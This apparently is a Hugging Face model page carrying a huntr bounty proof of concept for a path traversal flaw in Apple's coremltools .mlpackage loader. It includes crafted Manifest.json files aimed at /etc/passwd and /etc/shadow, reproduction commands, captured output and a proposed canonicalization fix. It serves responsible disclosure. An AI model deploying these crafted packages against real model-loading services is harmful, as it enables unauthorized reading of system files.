Downloads · 30 days
0
EnigmaConsultant/huntr-poc-coreml-mlpackage-path-traversal
huntr-poc-coreml-mlpackage-path-traversal is a machine learning model from EnigmaConsultant. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as other.
Submitted to: huntr.com Model File Format bounty track (target: Core ML) Status: Private research PoC, gated for manual review. Not intended for general use — this PoC demonstrates arbitrary file read; it is provided…
Downloads · 30 days
0
Access
Public
Updated Jul 30, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.md8.4 KB · 77%
From the Hugging Face model README
.mlpackage Manifest.json handlingSubmitted to: huntr.com Model File Format bounty track (target: Core ML) Status: Private research PoC, gated for manual review. Not intended for general use — this PoC demonstrates arbitrary file read; it is provided solely to support responsible disclosure.
Apple's coremltools Python package (current PyPI release 9.0) parses .mlpackage bundles —
a directory container with a Manifest.json mapping item identifiers to relative paths under
Data/. The compiled C++ parser (coremltools.libmodelpackage, built from
modelpackage/src/ModelPackage.cpp) concatenates the attacker-controlled path field from
Manifest.json with the package's data directory using plain std::filesystem path joining,
with no check that the result stays inside the package. Because operator/ leaves ..
segments intact and fully replaces the path when the right-hand side is absolute, a crafted
Manifest.json can make the "root model" (or "weights") item resolve to any file on the
filesystem, which is then opened and its bytes fed into the protobuf parser.
This is reachable from the documented, top-level public API:
coremltools.models.MLModel(path) and coremltools.utils.load_spec(path) — exactly the entry
point used to load an untrusted model file.
5291472d)modelpackage/src/ModelPackage.cpp:308 (validate()), :466 (findItem(), used by
getRootModel()), :516 (removeItem()):
auto path = m_packageDataDirPath / itemInfoEntry->getString(kModelPackageItemInfoPathKey);
— no containment/canonicalization check anywhere in this file.coremltools/models/utils.py:269 (load_spec()):
specfile = _ModelPackage(model_path).getRootModel().path()
with open(specfile, "rb") as f:
spec.ParseFromString(f.read())
coremltools/models/utils.py:1392 (_try_get_weights_dir_path()) has the identical
unsanitized pattern for the weights item.poc/evil.mlpackage/Manifest.json:
{
"fileFormatVersion": "1.0.0",
"itemInfoEntries": {
"AAAAAAAA-BBBB-CCCC-DDDD-EEEEEEEEEEEE": {
"path": "/etc/passwd",
"name": "model.mlmodel",
"author": "com.apple.CoreML",
"description": "CoreML Model Specification"
}
},
"rootModelIdentifier": "AAAAAAAA-BBBB-CCCC-DDDD-EEEEEEEEEEEE"
}
poc/evil_rel.mlpackage/Manifest.json uses a relative-traversal path value
("../../../../../../../../../../etc/passwd") demonstrating the same result via .. escape
rather than an absolute-path replacement.
pip install coremltools==9.0
python3 -c "
from coremltools.libmodelpackage import ModelPackage
pkg = ModelPackage('poc/evil.mlpackage')
root = pkg.getRootModel()
print(root.path())
print(open(root.path(),'rb').read()[:200])
"
Direct C++ binding call:
Resolved root model path: /etc/passwd
First 200 bytes read from resolved path:
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Through the documented public entry point:
ct.models.MLModel('poc/evil.mlpackage', skip_model_load=True)
Exception type: DecodeError
Exception message: Error parsing message with type 'CoreML.Specification.Model': Wire format was corrupt
(Confirms the loader opened /etc/passwd and fed its bytes into the protobuf parser — it fails
to parse as expected, but the cross-trust-boundary file read already happened.)
Independently re-verified by the submitting researcher, same results, plus confirmation that
/etc/shadow correctly raises PermissionError — proving the only thing blocking a read is
OS-level DAC, not any application-level containment check.
Arbitrary-path file read (CWE-22 family), reachable from the documented model-loading API. Any
process that loads an untrusted .mlpackage (e.g. a model-scanning service, a CI pipeline, a
hub download-and-inspect step) can be made to read and attempt to parse any file it has OS
permission to access.
coremltools (PyPI).apple/coremltools page shows two prior disclosures, both "Insecure Temporary
File" (unrelated — about Python temp-file API misuse elsewhere in the codebase)..mlpackage at all — this bug is a
different mechanism (manifest path handling of an already-materialized directory bundle, not
zip/tar extraction).apple/coremltools references Manifest.json or path traversal.weights-item variant of the same unsanitized-path pattern
(_try_get_weights_dir_path()) was inspected but a full working repro chain (would require a
valid mlprogram spec referencing attacker-chosen weight-blob filenames) was not built —
reported as "investigated, not reproduced," not claimed as a separate finding.libcoremlpython) was unavailable
and untested, so any impact specific to on-device model execution is out of scope for this
report.After joining m_packageDataDirPath with the manifest-supplied path, canonicalize the
result (e.g. std::filesystem::weakly_canonical) and verify it is still a descendant of
m_packageDataDirPath before returning it from ModelPackage.cpp's validate()/findItem()/
removeItem(). Reject the manifest entry (throw, as already done for missing files) if the
resolved path escapes the package directory.
Re-run from a clean checkout of this repo by a second party, fresh venv,
coremltools==9.0 on Linux/python3, all three claims re-confirmed verbatim:
poc/evil.mlpackage):
Resolved root model path: /etc/passwd
First 120 bytes: b'root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...'
ct.models.MLModel('poc/evil.mlpackage', skip_model_load=True)
and ct.utils.load_spec('poc/evil.mlpackage') →
DecodeError: Error parsing message with type 'CoreML.Specification.Model': Wire format was corrupt
(i.e. the loader opened /etc/passwd and fed its bytes to the protobuf parser)./etc/shadow variant → path resolves to /etc/shadow, read raises
PermissionError: [Errno 13] — confirming only OS-level DAC stops the read, not any
application-level containment check.The relative-traversal variant (poc/evil_rel.mlpackage) needs the package's Data/
directory to exist — .. segments are resolved by the OS against a real directory, whereas
the absolute-path variant replaces the path outright and needs nothing. That directory was
empty and was therefore silently dropped when this repo was first uploaded (git/HF do not
store empty directories), so a fresh clone reproduced only the absolute variant and the
relative one raised RuntimeError: Item does not exist for identifier. A .gitkeep
placeholder has been added to restore it. With Data/ present the relative variant
reproduces as documented:
resolved: poc/evil_rel.mlpackage/Data/../../../../../../../../../../etc/passwd
b'root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin'
If you clone this repo with a tool that drops empty directories, simply
mkdir -p poc/evil_rel.mlpackage/Data before running the relative variant.